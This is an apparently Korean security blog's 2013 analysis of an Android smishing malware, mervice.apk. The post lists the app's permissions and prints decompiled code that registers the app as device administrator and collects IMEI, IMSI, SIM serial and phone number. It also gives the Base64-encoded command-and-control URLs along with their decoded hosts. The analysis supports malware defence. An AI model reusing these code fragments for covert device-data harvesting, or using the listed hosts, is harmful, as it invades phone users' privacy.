Analysis

[Android Malware] mervice.apk 분석

DarkSoul.Story 2013. 12. 18. 10:36
반응형



아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


해당 악성 앱은 단축 URL을 포함한 택배가 도착 SMS 메시지로 전파되고 있다.


Filename:mervice.apk 
MD5:8e7bea88166735aec7b6be15551d4df1 
SHA-1:c3c782d7cacb3f62699a6400dcf29fe0a2df3d34 
File Size:204078 Bytes
API Level:


2. 분석 내용


SMS 메시지에 포함된 단축 URL을 클릭 시 mervice.apk 파일이 다운로드 되며, 자동으로 설치가 된다. mervice.apk 파일은 super status bar 앱으로 위장하고 있다. 



mervice.apk는 아래와 같이 11가지 권한 (User Permission)을 요구한다. 


유저권한 (User Permission)

android.permission.WRITE_CONTACTS

android.permission.SEND_SMS

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.READ_PHONE_STATE

android.permission.INTERNET

android.permission.WRITE_SMS

android.permission.ACCESS_NETWORK_STATE

android.permission.RECEIVE_SMS

android.permission.READ_CONTACTS

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.READ_SMS


11 가지 권한 (User Permission) 중 빨간색으로 표시된 권한이 악의적인 목적으로 사용될 수 있는 권한으로 내용은 아래와 같다.


유저 권한 (User Permission)

         

android.permission.WRITE_CONTACTS

응용 프로그램이 안드로이드 디바이스에 연락처 데이터를 쓸 수 있도록 허용한다. (, 읽기는 안됨)

android.permission.SEND_SMS

응용 프로그램이 SMS 메시지를 보낼 수 있도록 허용 한다.

android.permission.READ_PHONE_STATE

응용 프로그램이 휴대 전화의 상태를 읽을 수 있도록 허용 한다.

android.permission.INTERNET

응용 프로그램이 네트워크 소켓을 만들 수 있도록 허용 한다.

android.permission.WRITE_SMS

응용 프로그램이 SMS 메시지를 쓸 수 있도록 허용한다.

android.permission.RECEIVE_SMS

응용프로그램이 SMS 메시지를 받고 처리 할 수 있도록 허용 한다.

android.permission.READ_CONTACTS

응용 프로그램이 사용자의 연락처 데이터를 읽을 수 있도록 허용 한다.

android.permission.WRITE_EXTERNAL_STORAGE

응용 프로그램이 외부 스토리지에 쓸 수 있도록 허용 한다.

 

(참고 : minSdkVersion targetSdkVersion 값이 모두 3 이하로 설정되어 있으면 시스템이 내재적으로 응용 프로그램에게 이 권한을 부여 한다.)

android.permission.READ_SMS

응용 프로그램이 휴대 전화 또는 SIM 카드에 저장되어 있는 SMS 메시지를 읽을 수 있도록 허용 한다.


그럼 소스코드를 살펴 보자.  아래는 설치된 악성 앱 super status bar 아이콘을 클릭하면, 아래와 같이 디바이스 관리자에 자신을 등록 시킨다.  



public void onCreate(Bundle paramBundle)

  {

    super.onCreate(paramBundle);

    Intent localIntent1 = new Intent("com.google.syncservice.GoogleSyncService");

    localIntent1.setClass(getApplicationContext(), GoogleSyncService.class);

    startService(localIntent1);

    finish();

    try

{

      Intent localIntent2 = new Intent("android.app.action.ADD_DEVICE_ADMIN");

      localIntent2.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName("com.google.syncservice", "com.google.syncservice.DeAdminReciver"));

startActivity(localIntent2);

      label72: return;

    }

      catch (Exception localException)

    {

      break label72;

    }

  }

}


자신을 디바이스 관리자에 등록 시킨 후에는 super status bar 아이콘을 클릭하여도 별다른 반응을 보이지 않는다.  아래는 TelephonyManager를 이용하여, 각종 디바이스 정보를 가져오는 소스코드이다. 지금 까지 분석한 Android Malware중 가장 많은 디바이스 정보를 가져오고 있다.


public static String d(Context paramContext)
  {
    return 
((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId();
  }
 private static String e(Context paramContext)
  {
    return 
((TelephonyManager)paramContext.getSystemService("phone")).getSubscriberId();
   }
   private static JSONObject f(Context paramContext)
  {   
TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.getSystemService("phone");
    JSONObject localJSONObject = new JSONObject();
    localJSONObject.put("DeviceId(IMEI)", localTelephonyManager.getDeviceId());
    localJSONObject.put("DeviceSoftwareVersion", localTelephonyManager.getDeviceSoftwareVersion());
    localJSONObject.put("Line1Number", localTelephonyManager.getLine1Number());
    localJSONObject.put("NetworkCountryIso", localTelephonyManager.getNetworkCountryIso());
    localJSONObject.put("NetworkOperator", localTelephonyManager.getNetworkOperator());
    localJSONObject.put("NetworkOperatorName", localTelephonyManager.getNetworkOperatorName());
    localJSONObject.put("NetworkType", localTelephonyManager.getNetworkType());
    localJSONObject.put("PhoneType", localTelephonyManager.getPhoneType());
    localJSONObject.put("SimCountryIso", localTelephonyManager.getSimCountryIso());
    localJSONObject.put("SimOperator", localTelephonyManager.getSimOperator());
    localJSONObject.put("SimOperatorName", localTelephonyManager.getSimOperatorName());
    localJSONObject.put("SimSerialNumber", localTelephonyManager.getSimSerialNumber());
    localJSONObject.put("SimState", localTelephonyManager.getSimState());
    localJSONObject.put("SubscriberId(IMSI)", localTelephonyManager.getSubscriberId());
    localJSONObject.put("VoiceMailNumber", localTelephonyManager.getVoiceMailNumber());
     return localJSONObject;
  }


위 소스코드에서 가져오는 디바이스 정보의 내용은 아래와 같다.


Public Methods

            

getDeviceId()

디바이스 ID를 가져온다.

getDeviceSoftwareVersion()

디바이스의 운영체제 버전을 가져온다.

getLine1Number()

디바이스의 전화번호를 가져온다.

getNetworkCountryIso()

디바이스의 ISO 국가 코드(모바일 국가 코드:MCC)를 가져온다.

getNetworkOperator()

망 사업자 코드 (MCC:Mobile Country Code + MNC:Mobile Network Code)를 가져온다.

getNetworkOperatorName()

망 사업자 명을 가져온다.

getNetworkType()

네트워크 타입을 가져온다. (LTE/3G )

getPhoneType()

전화기 타입을 가져온다. (CDMA/GSM/SIP )

getSimCountryIso()

SIM카드 공급자의 ISO 국가 코드를 가져온다.

getSimOperator()

SIM카드 공급자의 망 사업자 코드 (MCC+MNC)를 가져온다.

getSimOperatorName()

서비스 공급자 이름(SPN)을 가져온다.

getSimSerialNumber()

SIM 카드의 일련 번호를 가져온다.

getSimState()

SIM 카드의 상태를 가져온다.

getSubscriberId()

디바이스의 가입자 ID를 가져온다.

getVoiceMailNumber()

음성 메일 번호를 가져온다. 사용하지 않는 경우 null값을 반환한다.


소스코드에서 아래와 같이 C&C 서버의 URL 정보를 확인 하였으며, 해당 URL은 Base64로 인코딩 되어 있다.


static String a = "aHR0cDovL2FiYy5sajM0NS5jb206MTAyNDA=";
static String b = "aHR0cDovL2FzZC5sY2R1eGluLmNvbToxMDI0MA==";


위 URL 정보를 디코딩한 내용은 아래와 같으며, 현재 해당 URL로의 접속은 이루어지지 않고 있다.


http://abc.lj345.com:10240
http://asd.lcduxin.com:10240


해당 C&C 서버는 아래와 같이 홍콩에 위치하고 있는것으로 확인 되었다.









반응형